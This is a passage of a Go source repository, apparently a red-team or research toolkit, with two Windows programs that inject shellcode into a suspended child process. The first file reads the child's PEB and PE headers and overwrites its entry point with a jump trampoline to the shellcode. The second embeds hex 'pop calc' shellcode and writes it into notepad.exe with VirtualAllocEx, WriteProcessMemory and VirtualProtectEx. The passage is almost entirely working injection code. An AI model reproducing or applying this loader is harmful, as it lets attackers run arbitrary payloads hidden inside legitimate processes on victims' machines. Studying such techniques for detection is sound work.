191 | fmt.Println(fmt.Sprintf("[!]NtQueryInformationProcess returned NTSTATUS: %x(%d)", ntStatus, ntStatus))
192 | log.Fatal(fmt.Sprintf("[!]Error calling NtQueryInformationProcess:\r\n\t%s", syscall.Errno(ntStatus)))
193 | }
194 | if *verbose {
195 | fmt.Println("[-]Got PEB info from NtQueryInformationProcess")
196 | }
197 |
198 | // Read from PEB base address to populate the PEB structure
199 | // ReadProcessMemory
200 | /*
201 | BOOL ReadProcessMemory(
202 | HANDLE hProcess,
203 | LPCVOID lpBaseAddress,
204 | LPVOID lpBuffer,
205 | SIZE_T nSize,
206 | SIZE_T *lpNumberOfBytesRead
207 | );
208 | */
209 |
210 | ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
211 |
212 | if *debug {
213 | fmt.Println("[DEBUG]Calling ReadProcessMemory for PEB...")
214 | }
215 |
216 | var peb PEB
217 | var readBytes int32
218 |
219 | _, _, errReadProcessMemory := ReadProcessMemory.Call(uintptr(procInfo.Process), processInformation.PebBaseAddress, uintptr(unsafe.Pointer(&peb)), unsafe.Sizeof(peb), uintptr(unsafe.Pointer(&readBytes)))
220 | if errReadProcessMemory != nil && errReadProcessMemory.Error() != "The operation completed successfully." {
221 | log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory.Error()))
222 | }
223 | if *verbose {
224 | fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for PEB", readBytes))
225 | }
226 | if *debug {
227 | fmt.Println(fmt.Sprintf("[DEBUG]PEB: %+v", peb))
228 | fmt.Println(fmt.Sprintf("[DEBUG]PEB ImageBaseAddress: 0x%x", peb.ImageBaseAddress))
229 | }
230 |
231 | // Read the child program's DOS header and validate it is a MZ executable
232 | type IMAGE_DOS_HEADER struct {
233 | Magic uint16 // USHORT Magic number
234 | Cblp uint16 // USHORT Bytes on last page of file
235 | Cp uint16 // USHORT Pages in file
236 | Crlc uint16 // USHORT Relocations
237 | Cparhdr uint16 // USHORT Size of header in paragraphs
238 | MinAlloc uint16 // USHORT Minimum extra paragraphs needed
239 | MaxAlloc uint16 // USHORT Maximum extra paragraphs needed
240 | SS uint16 // USHORT Initial (relative) SS value
241 | SP uint16 // USHORT Initial SP value
242 | CSum uint16 // USHORT Checksum
243 | IP uint16 // USHORT Initial IP value
244 | CS uint16 // USHORT Initial (relative) CS value
245 | LfaRlc uint16 // USHORT File address of relocation table
246 | Ovno uint16 // USHORT Overlay number
247 | Res [4]uint16 // USHORT Reserved words
248 | OEMID uint16 // USHORT OEM identifier (for e_oeminfo)
249 | OEMInfo uint16 // USHORT OEM information; e_oemid specific
250 | Res2 [10]uint16 // USHORT Reserved words
251 | LfaNew int32 // LONG File address of new exe header
252 | }
253 |
254 | if *debug {
255 | fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_DOS_HEADER...")
256 | }
257 |
258 | var dosHeader IMAGE_DOS_HEADER
259 | var readBytes2 int32
260 |
261 | _, _, errReadProcessMemory2 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress, uintptr(unsafe.Pointer(&dosHeader)), unsafe.Sizeof(dosHeader), uintptr(unsafe.Pointer(&readBytes2)))
262 | if errReadProcessMemory2 != nil && errReadProcessMemory2.Error() != "The operation completed successfully." {
263 | log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory2.Error()))
264 | }
265 | if *verbose {
266 | fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_DOS_HEADER", readBytes2))
267 | }
268 | if *debug {
269 | fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_DOS_HEADER: %+v", dosHeader))
270 | fmt.Println(fmt.Sprintf("[DEBUG]Magic: %s", string(dosHeader.Magic&0xff)+string(dosHeader.Magic>>8))) // LittleEndian
271 | fmt.Println(fmt.Sprintf("[DEBUG]PE header offset: 0x%x", dosHeader.LfaNew))
272 | }
273 |
274 | // 23117 is the LittleEndian unsigned base10 representation of MZ
275 | // 0x5a4d is the LittleEndian unsigned base16 represenation of MZ
276 | if dosHeader.Magic != 23117 {
277 | log.Fatal(fmt.Sprintf("[!]DOS image header magic string was not MZ"))
278 | }
279 |
280 | // Read the child process's PE header signature to validate it is a PE
281 | if *debug {
282 | fmt.Println("[DEBUG]Calling ReadProcessMemory for PE Signature...")
283 | }
284 | var Signature uint32
285 | var readBytes3 int32
286 |
287 | _, _, errReadProcessMemory3 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew), uintptr(unsafe.Pointer(&Signature)), unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&readBytes3)))
288 | if errReadProcessMemory3 != nil && errReadProcessMemory3.Error() != "The operation completed successfully." {
289 | log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory3.Error()))
290 | }
291 | if *verbose {
292 | fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for PE Signature", readBytes3))
293 |
294 | }
295 | if *debug {
296 | fmt.Println(fmt.Sprintf("[DEUBG]PE Signature: 0x%x", Signature))
297 | }
298 |
299 | // 17744 is Little Endian Unsigned 32-bit integer in decimal for PE (null terminated)
300 | // 0x4550 is Little Endian Unsigned 32-bit integer in hex for PE (null terminated)
301 | if Signature != 17744 {
302 | log.Fatal("[!]PE Signature string was not PE")
303 | }
304 |
305 | // Read the child process's PE file header
306 | /*
307 | typedef struct _IMAGE_FILE_HEADER {
308 | USHORT Machine;
309 | USHORT NumberOfSections;
310 | ULONG TimeDateStamp;
311 | ULONG PointerToSymbolTable;
312 | ULONG NumberOfSymbols;
313 | USHORT SizeOfOptionalHeader;
314 | USHORT Characteristics;
315 | } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
316 | */
317 |
318 | type IMAGE_FILE_HEADER struct {
319 | Machine uint16
320 | NumberOfSections uint16
321 | TimeDateStamp uint32
322 | PointerToSymbolTable uint32
323 | NumberOfSymbols uint32
324 | SizeOfOptionalHeader uint16
325 | Characteristics uint16
326 | }
327 |
328 | if *debug {
329 | fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_FILE_HEADER...")
330 | }
331 | var peHeader IMAGE_FILE_HEADER
332 | var readBytes4 int32
333 |
334 | _, _, errReadProcessMemory4 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&peHeader)), unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&readBytes4)))
335 | if errReadProcessMemory4 != nil && errReadProcessMemory4.Error() != "The operation completed successfully." {
336 | log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory4.Error()))
337 | }
338 | if *verbose {
339 | fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_FILE_HEADER", readBytes4))
340 | switch peHeader.Machine {
341 | case 34404: // 0x8664
342 | fmt.Println("[-]Machine type: IMAGE_FILE_MACHINE_AMD64 (x64)")
343 | case 332: // 0x14c
344 | fmt.Println("[-]Machine type: IMAGE_FILE_MACHINE_I386 (x86)")
345 | default:
346 | fmt.Println(fmt.Sprintf("[-]Machine type UNKOWN: 0x%x", peHeader.Machine))
347 | }
348 | }
349 | if *debug {
350 | fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_FILE_HEADER: %+v", peHeader))
351 | fmt.Println(fmt.Sprintf("[DEBUG]Machine: 0x%x", peHeader.Machine))
352 | }
353 |
354 | // Read the child process's PE optional header to find it's entry point
355 | /*
356 | https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header64
357 | typedef struct _IMAGE_OPTIONAL_HEADER64 {
358 | WORD Magic;
359 | BYTE MajorLinkerVersion;
360 | BYTE MinorLinkerVersion;
361 | DWORD SizeOfCode;
362 | DWORD SizeOfInitializedData;
363 | DWORD SizeOfUninitializedData;
364 | DWORD AddressOfEntryPoint;
365 | DWORD BaseOfCode;
366 | ULONGLONG ImageBase;
367 | DWORD SectionAlignment;
368 | DWORD FileAlignment;
369 | WORD MajorOperatingSystemVersion;
370 | WORD MinorOperatingSystemVersion;
371 | WORD MajorImageVersion;
372 | WORD MinorImageVersion;
373 | WORD MajorSubsystemVersion;
374 | WORD MinorSubsystemVersion;
375 | DWORD Win32VersionValue;
376 | DWORD SizeOfImage;
377 | DWORD SizeOfHeaders;
378 | DWORD CheckSum;
379 | WORD Subsystem;
380 | WORD DllCharacteristics;
381 | ULONGLONG SizeOfStackReserve;
382 | ULONGLONG SizeOfStackCommit;
383 | ULONGLONG SizeOfHeapReserve;
384 | ULONGLONG SizeOfHeapCommit;
385 | DWORD LoaderFlags;
386 | DWORD NumberOfRvaAndSizes;
387 | IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
388 | } IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64;
389 | */
390 |
391 | type IMAGE_OPTIONAL_HEADER64 struct {
392 | Magic uint16
393 | MajorLinkerVersion byte
394 | MinorLinkerVersion byte
395 | SizeOfCode uint32
396 | SizeOfInitializedData uint32
397 | SizeOfUninitializedData uint32
398 | AddressOfEntryPoint uint32
399 | BaseOfCode uint32
400 | ImageBase uint64
401 | SectionAlignment uint32
402 | FileAlignment uint32
403 | MajorOperatingSystemVersion uint16
404 | MinorOperatingSystemVersion uint16
405 | MajorImageVersion uint16
406 | MinorImageVersion uint16
407 | MajorSubsystemVersion uint16
408 | MinorSubsystemVersion uint16
409 | Win32VersionValue uint32
410 | SizeOfImage uint32
411 | SizeOfHeaders uint32
412 | CheckSum uint32
413 | Subsystem uint16
414 | DllCharacteristics uint16
415 | SizeOfStackReserve uint64
416 | SizeOfStackCommit uint64
417 | SizeOfHeapReserve uint64
418 | SizeOfHeapCommit uint64
419 | LoaderFlags uint32
420 | NumberOfRvaAndSizes uint32
421 | DataDirectory uintptr
422 | }
423 |
424 | /*
425 | https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header32
426 | typedef struct _IMAGE_OPTIONAL_HEADER {
427 | WORD Magic;
428 | BYTE MajorLinkerVersion;
429 | BYTE MinorLinkerVersion;
430 | DWORD SizeOfCode;
431 | DWORD SizeOfInitializedData;
432 | DWORD SizeOfUninitializedData;
433 | DWORD AddressOfEntryPoint;
434 | DWORD BaseOfCode;
435 | DWORD BaseOfData;
436 | DWORD ImageBase;
437 | DWORD SectionAlignment;
438 | DWORD FileAlignment;
439 | WORD MajorOperatingSystemVersion;
440 | WORD MinorOperatingSystemVersion;
441 | WORD MajorImageVersion;
442 | WORD MinorImageVersion;
443 | WORD MajorSubsystemVersion;
444 | WORD MinorSubsystemVersion;
445 | DWORD Win32VersionValue;
446 | DWORD SizeOfImage;
447 | DWORD SizeOfHeaders;
448 | DWORD CheckSum;
449 | WORD Subsystem;
450 | WORD DllCharacteristics;
451 | DWORD SizeOfStackReserve;
452 | DWORD SizeOfStackCommit;
453 | DWORD SizeOfHeapReserve;
454 | DWORD SizeOfHeapCommit;
455 | DWORD LoaderFlags;
456 | DWORD NumberOfRvaAndSizes;
457 | IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
458 | } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
459 | */
460 |
461 | type IMAGE_OPTIONAL_HEADER32 struct {
462 | Magic uint16
463 | MajorLinkerVersion byte
464 | MinorLinkerVersion byte
465 | SizeOfCode uint32
466 | SizeOfInitializedData uint32
467 | SizeOfUninitializedData uint32
468 | AddressOfEntryPoint uint32
469 | BaseOfCode uint32
470 | BaseOfData uint32 // Different from 64 bit header
471 | ImageBase uint64
472 | SectionAlignment uint32
473 | FileAlignment uint32
474 | MajorOperatingSystemVersion uint16
475 | MinorOperatingSystemVersion uint16
476 | MajorImageVersion uint16
477 | MinorImageVersion uint16
478 | MajorSubsystemVersion uint16
479 | MinorSubsystemVersion uint16
480 | Win32VersionValue uint32
481 | SizeOfImage uint32
482 | SizeOfHeaders uint32
483 | CheckSum uint32
484 | Subsystem uint16
485 | DllCharacteristics uint16
486 | SizeOfStackReserve uint64
487 | SizeOfStackCommit uint64
488 | SizeOfHeapReserve uint64
489 | SizeOfHeapCommit uint64
490 | LoaderFlags uint32
491 | NumberOfRvaAndSizes uint32
492 | DataDirectory uintptr
493 | }
494 |
495 | if *debug {
496 | fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_OPTIONAL_HEADER...")
497 | }
498 |
499 | var optHeader64 IMAGE_OPTIONAL_HEADER64
500 | var optHeader32 IMAGE_OPTIONAL_HEADER32
501 | var errReadProcessMemory5 error
502 | var readBytes5 int32
503 |
504 | if peHeader.Machine == 34404 { // 0x8664
505 | _, _, errReadProcessMemory5 = ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader64)), unsafe.Sizeof(optHeader64), uintptr(unsafe.Pointer(&readBytes5)))
506 | } else if peHeader.Machine == 332 { // 0x14c
507 | _, _, errReadProcessMemory5 = ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader32)), unsafe.Sizeof(optHeader32), uintptr(unsafe.Pointer(&readBytes5)))
508 | } else {
509 | log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
510 | }
511 |
512 | if errReadProcessMemory5 != nil && errReadProcessMemory5.Error() != "The operation completed successfully." {
513 | log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory5.Error()))
514 | }
515 | if *verbose {
516 | fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_OPTIONAL_HEADER", readBytes5))
517 | }
518 | if *debug {
519 | if peHeader.Machine == 332 { // 0x14c
520 | fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_OPTIONAL_HEADER32: %+v", optHeader32))
521 | fmt.Println(fmt.Sprintf("\t[DEBUG]ImageBase: 0x%x", optHeader32.ImageBase))
522 | fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (relative): 0x%x", optHeader32.AddressOfEntryPoint))
523 | fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (absolute): 0x%x", peb.ImageBaseAddress+uintptr(optHeader32.AddressOfEntryPoint)))
524 | }
525 | if peHeader.Machine == 34404 { // 0x8664
526 | fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_OPTIONAL_HEADER64: %+v", optHeader64))
527 | fmt.Println(fmt.Sprintf("\t[DEBUG]ImageBase: 0x%x", optHeader64.ImageBase))
528 | fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (relative): 0x%x", optHeader64.AddressOfEntryPoint))
529 | fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (absolute): 0x%x", peb.ImageBaseAddress+uintptr(optHeader64.AddressOfEntryPoint)))
530 | }
531 | }
532 |
533 | // Overwrite the value at AddressofEntryPoint field with trampoline to load the shellcode address in RAX/EAX and jump to it
534 | var ep uintptr
535 | if peHeader.Machine == 34404 { // 0x8664 x64
536 | ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint)
537 | } else if peHeader.Machine == 332 { // 0x14c x86
538 | ep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint)
539 | } else {
540 | log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
541 | }
542 |
543 | var epBuffer []byte
544 | var shellcodeAddressBuffer []byte
545 | // x86 - 0xb8 = mov eax
546 | // x64 - 0x48 = rex (declare 64bit); 0xb8 = mov eax
547 | if peHeader.Machine == 34404 { // 0x8664 x64
548 | epBuffer = append(epBuffer, byte(0x48))
549 | epBuffer = append(epBuffer, byte(0xb8))
550 | shellcodeAddressBuffer = make([]byte, 8) // 8 bytes for 64-bit address
551 | binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr))
552 | epBuffer = append(epBuffer, shellcodeAddressBuffer...)
553 | } else if peHeader.Machine == 332 { // 0x14c x86
554 | epBuffer = append(epBuffer, byte(0xb8))
555 | shellcodeAddressBuffer = make([]byte, 4) // 4 bytes for 32-bit address
556 | binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr))
557 | epBuffer = append(epBuffer, shellcodeAddressBuffer...)
558 | } else {
559 | log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
560 | }
561 |
562 | // 0xff ; 0xe0 = jmp [r|e]ax
563 | epBuffer = append(epBuffer, byte(0xff))
564 | epBuffer = append(epBuffer, byte(0xe0))
565 |
566 | if *debug {
567 | fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory to overwrite AddressofEntryPoint at 0x%x with trampoline: 0x%x...", ep, epBuffer))
568 | }
569 |
570 | _, _, errWriteProcessMemory2 := WriteProcessMemory.Call(uintptr(procInfo.Process), ep, uintptr(unsafe.Pointer(&epBuffer[0])), uintptr(len(epBuffer)))
571 |
572 | if errWriteProcessMemory2 != nil && errWriteProcessMemory2.Error() != "The operation completed successfully." {
573 | log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory2.Error()))
574 | }
575 | if *verbose {
576 | fmt.Println("[-]Successfully overwrote the AddressofEntryPoint")
577 | }
578 |
579 | // Resume the child process
580 | if *debug {
581 | fmt.Println("[DEBUG]Calling ResumeThread...")
582 | }
583 | _, errResumeThread := windows.ResumeThread(procInfo.Thread)
584 | if errResumeThread != nil {
585 | log.Fatal(fmt.Sprintf("[!]Error calling ResumeThread:\r\n%s", errResumeThread.Error()))
586 | }
587 | if *verbose {
588 | fmt.Println("[+]Process resumed and shellcode executed")
589 | }
590 |
591 | // Close the handle to the child process
592 | if *debug {
593 | fmt.Println("[DEBUG]Calling CloseHandle on child process...")
594 | }
595 | errCloseProcHandle := windows.CloseHandle(procInfo.Process)
596 | if errCloseProcHandle != nil {
597 | log.Fatal(fmt.Sprintf("[!]Error closing the child process handle:\r\n\t%s", errCloseProcHandle.Error()))
598 | }
599 |
600 | // Close the hand to the child process thread
601 | if *debug {
602 | fmt.Println("[DEBUG]Calling CloseHandle on child process thread...")
603 | }
604 | errCloseThreadHandle := windows.CloseHandle(procInfo.Thread)
605 | if errCloseThreadHandle != nil {
606 | log.Fatal(fmt.Sprintf("[!]Error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle.Error()))
607 | }
608 | }
609 |
610 | // export GOOS=windows GOARCH=amd64;go build -o goCreateProcess.exe cmd/CreateProcess/main.go
611 | // test STDERR go run .\cmd\CreateProcess\main.go -verbose -debug -program "C:\Windows\System32\cmd.exe" -args "/c whoami /asdfasdf"
612 |
--------------------------------------------------------------------------------
/cmd/CreateProcessWithPipe/main.go:
--------------------------------------------------------------------------------
1 | // +build windows
2 |
3 | package main
4 |
5 | import (
6 | "encoding/binary"
7 | "encoding/hex"
8 | "flag"
9 | "fmt"
10 | "log"
11 | "os"
12 | "syscall"
13 | "unsafe"
14 |
15 | // Sub Repositories
16 | "golang.org/x/sys/windows"
17 | )
18 |
19 | func main() {
20 | verbose := flag.Bool("verbose", false, "Enable verbose output")
21 | debug := flag.Bool("debug", false, "Enable debug output")
22 | program := flag.String("program", "C:\\Windows\\System32\\notepad.exe", "The program to start and inject shellcode into")
23 | args := flag.String("args", "", "Program command line arguments")
24 | flag.Usage = func() {
25 | flag.PrintDefaults()
26 | os.Exit(0)
27 | }
28 | flag.Parse()
29 |
30 | // Pop Calc Shellcode
31 | shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
32 | if errShellcode != nil {
33 | log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
34 | }
35 |
36 | if *debug {
37 | fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll...")
38 | }
39 |
40 | // Load DLLs and Procedures
41 | kernel32 := windows.NewLazySystemDLL("kernel32.dll")
42 | ntdll := windows.NewLazySystemDLL("ntdll.dll")
43 |
44 | if *debug {
45 | fmt.Println("[DEBUG]Loading supporting procedures...")
46 | }
47 | VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
48 | VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
49 | WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
50 | NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
51 |
52 | // Create anonymous pipe for STDIN
53 | // TODO I don't think I need this for anything
54 | var stdInRead windows.Handle
55 | var stdInWrite windows.Handle
56 |
57 | if *debug {
58 | fmt.Println(fmt.Sprintf("[DEBUG]Calling CreatePipe for STDIN..."))
59 | }
60 | errStdInPipe := windows.CreatePipe(&stdInRead, &stdInWrite, &windows.SecurityAttributes{InheritHandle: 1}, 0)
61 | if errStdInPipe != nil {
62 | log.Fatal(fmt.Sprintf("[!]Error creating the STDIN pipe:\r\n%s", errStdInPipe.Error()))
63 | }
64 | if *verbose {
65 | fmt.Println(fmt.Sprintf("[-]Successfully created STDIN pipe"))
66 | }
67 | if *debug {
68 | fmt.Println(fmt.Sprintf("[DEBUG]STDIN pipe read handle %v", stdInRead))
69 | fmt.Println(fmt.Sprintf("[DEBUG]STDIN pipe write handle %v", stdInWrite))
70 | }
71 |
72 | // Create anonymous pipe for STDOUT
73 | var stdOutRead windows.Handle
74 | var stdOutWrite windows.Handle
75 | if *debug {
76 | fmt.Println(fmt.Sprintf("[DEBUG]Calling CreatePipe for STDOUT..."))
77 | }
78 | errStdOutPipe := windows.CreatePipe(&stdOutRead, &stdOutWrite, &windows.SecurityAttributes{InheritHandle: 1}, 0)
79 | if errStdOutPipe != nil {
80 | log.Fatal(fmt.Sprintf("[!]Error creating the STDOUT pipe:\r\n%s", errStdOutPipe.Error()))
81 | }
82 | if *verbose {
83 | fmt.Println(fmt.Sprintf("[-]Successfully created STDOUT pipe"))
84 | }
85 | if *debug {
86 | fmt.Println(fmt.Sprintf("[DEBUG]STDOUT pipe read handle %v", stdOutRead))
87 | fmt.Println(fmt.Sprintf("[DEBUG]STDOUT pipe write handle %v", stdOutWrite))
88 | }
89 |
90 | // Create anonymous pipe for STDERR
91 | var stdErrRead windows.Handle
92 | var stdErrWrite windows.Handle
93 | if *debug {
94 | fmt.Println(fmt.Sprintf("[DEBUG]Calling CreatePipe for STDERR..."))
95 | }
96 | errStdErrPipe := windows.CreatePipe(&stdErrRead, &stdErrWrite, &windows.SecurityAttributes{InheritHandle: 1}, 0)
97 | if errStdErrPipe != nil {
98 | log.Fatal(fmt.Sprintf("[!]Error creating the STDERR pipe:\r\n%s", errStdErrPipe.Error()))
99 | }
100 | if *verbose {
101 | fmt.Println(fmt.Sprintf("[-]Successfully created STDERR pipe"))
102 | }
103 | if *debug {
104 | fmt.Println(fmt.Sprintf("[DEBUG]STDERR pipe read handle %v", stdErrRead))
105 | fmt.Println(fmt.Sprintf("[DEBUG]STDOUT pipe write handle %v", stdErrWrite))
106 | }
107 |
108 | // Create child proccess in suspended state
109 | /*
110 | BOOL CreateProcessW(
111 | LPCWSTR lpApplicationName,
112 | LPWSTR lpCommandLine,
113 | LPSECURITY_ATTRIBUTES lpProcessAttributes,
114 | LPSECURITY_ATTRIBUTES lpThreadAttributes,
115 | BOOL bInheritHandles,
116 | DWORD dwCreationFlags,
117 | LPVOID lpEnvironment,
118 | LPCWSTR lpCurrentDirectory,
119 | LPSTARTUPINFOW lpStartupInfo,
120 | LPPROCESS_INFORMATION lpProcessInformation
121 | );
122 | */
123 |
124 | if *debug {
125 | fmt.Println(fmt.Sprintf("[DEBUG]Calling CreateProcess to start:\r\n\t%s %s...", *program, *args))
126 | }
127 | procInfo := &windows.ProcessInformation{}
128 | startupInfo := &windows.StartupInfo{
129 | StdInput: stdInRead,
130 | StdOutput: stdOutWrite,
131 | StdErr: stdErrWrite,
132 | Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
133 | ShowWindow: 1,
134 | }
135 | errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr(*program), syscall.StringToUTF16Ptr(*args), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo)
136 | if errCreateProcess != nil && errCreateProcess.Error() != "The operation completed successfully." {
137 | log.Fatal(fmt.Sprintf("[!]Error calling CreateProcess:\r\n%s", errCreateProcess.Error()))
138 | }
139 | if *verbose {
140 | fmt.Println(fmt.Sprintf("[-]Successfully created the %s prcoess in PID %d", *program, procInfo.ProcessId))
141 | }
142 |
143 | // Allocate memory in child process
144 | if *debug {
145 | fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualAllocEx on PID %d...", procInfo.ProcessId))
146 | }
147 | addr, _, errVirtualAlloc := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
148 |
149 | if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
150 | log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
151 | }
152 |
153 | if addr == 0 {
154 | log.Fatal("[!]VirtualAllocEx failed and returned 0")
155 | }
156 | if *verbose {
157 | fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", procInfo.ProcessId))
158 | }
159 | if *debug {
160 | fmt.Println(fmt.Sprintf("[DEBUG]Shellcode address: 0x%x", addr))
161 | }
162 |
163 | // Write shellcode into child process memory
164 | if *debug {
165 | fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", procInfo.ProcessId))
166 | }
167 | _, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(procInfo.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
168 |
169 | if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." {
170 | log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error()))
171 | }
172 | if *verbose {
173 | fmt.Println(fmt.Sprintf("[-]Successfully wrote %d shellcode bytes to PID %d", len(shellcode), procInfo.ProcessId))
174 | }
175 |
176 | // Change memory permissions to RX in child process where shellcode was written
177 | if *debug {
178 | fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", procInfo.ProcessId))
179 | }
180 | oldProtect := windows.PAGE_READWRITE
181 | _, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(procInfo.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
182 | if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
183 | log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error()))
184 | }
185 | if *verbose {
186 | fmt.Println(fmt.Sprintf("[-]Successfully changed memory permissions to PAGE_EXECUTE_READ in PID %d", procInfo.ProcessId))
187 | }
188 |
189 | // Query the child process and find its image base address from its Process Environment Block (PEB)
190 | // https://github.com/winlabs/gowin32/blob/0b6f3bef0b7501b26caaecab8d52b09813224373/wrappers/winternl.go#L37
191 | // http://bytepointer.com/resources/tebpeb32.htm
192 | // https://www.nirsoft.net/kernel_struct/vista/PEB.html
193 | type PEB struct {
194 | //reserved1 [2]byte // BYTE 0-1
195 | InheritedAddressSpace byte // BYTE 0
196 | ReadImageFileExecOptions byte // BYTE 1
197 | BeingDebugged byte // BYTE 2
198 | reserved2 [1]byte // BYTE 3
199 | // ImageUsesLargePages : 1; //0x0003:0 (WS03_SP1+)
200 | // IsProtectedProcess : 1; //0x0003:1 (Vista+)
201 | // IsLegacyProcess : 1; //0x0003:2 (Vista+)
202 | // IsImageDynamicallyRelocated : 1; //0x0003:3 (Vista+)
203 | // SkipPatchingUser32Forwarders : 1; //0x0003:4 (Vista_SP1+)
204 | // IsPackagedProcess : 1; //0x0003:5 (Win8_BETA+)
205 | // IsAppContainer : 1; //0x0003:6 (Win8_RTM+)
206 | // SpareBit : 1; //0x0003:7
207 | //reserved3 [2]uintptr // PVOID BYTE 4-8
208 | Mutant uintptr // BYTE 4
209 | ImageBaseAddress uintptr // BYTE 8
210 | Ldr uintptr // PPEB_LDR_DATA
211 | ProcessParameters uintptr // PRTL_USER_PROCESS_PARAMETERS
212 | reserved4 [3]uintptr // PVOID
213 | AtlThunkSListPtr uintptr // PVOID
214 | reserved5 uintptr // PVOID
215 | reserved6 uint32 // ULONG
216 | reserved7 uintptr // PVOID
217 | reserved8 uint32 // ULONG
218 | AtlThunkSListPtr32 uint32 // ULONG
219 | reserved9 [45]uintptr // PVOID
220 | reserved10 [96]byte // BYTE
221 | PostProcessInitRoutine uintptr // PPS_POST_PROCESS_INIT_ROUTINE
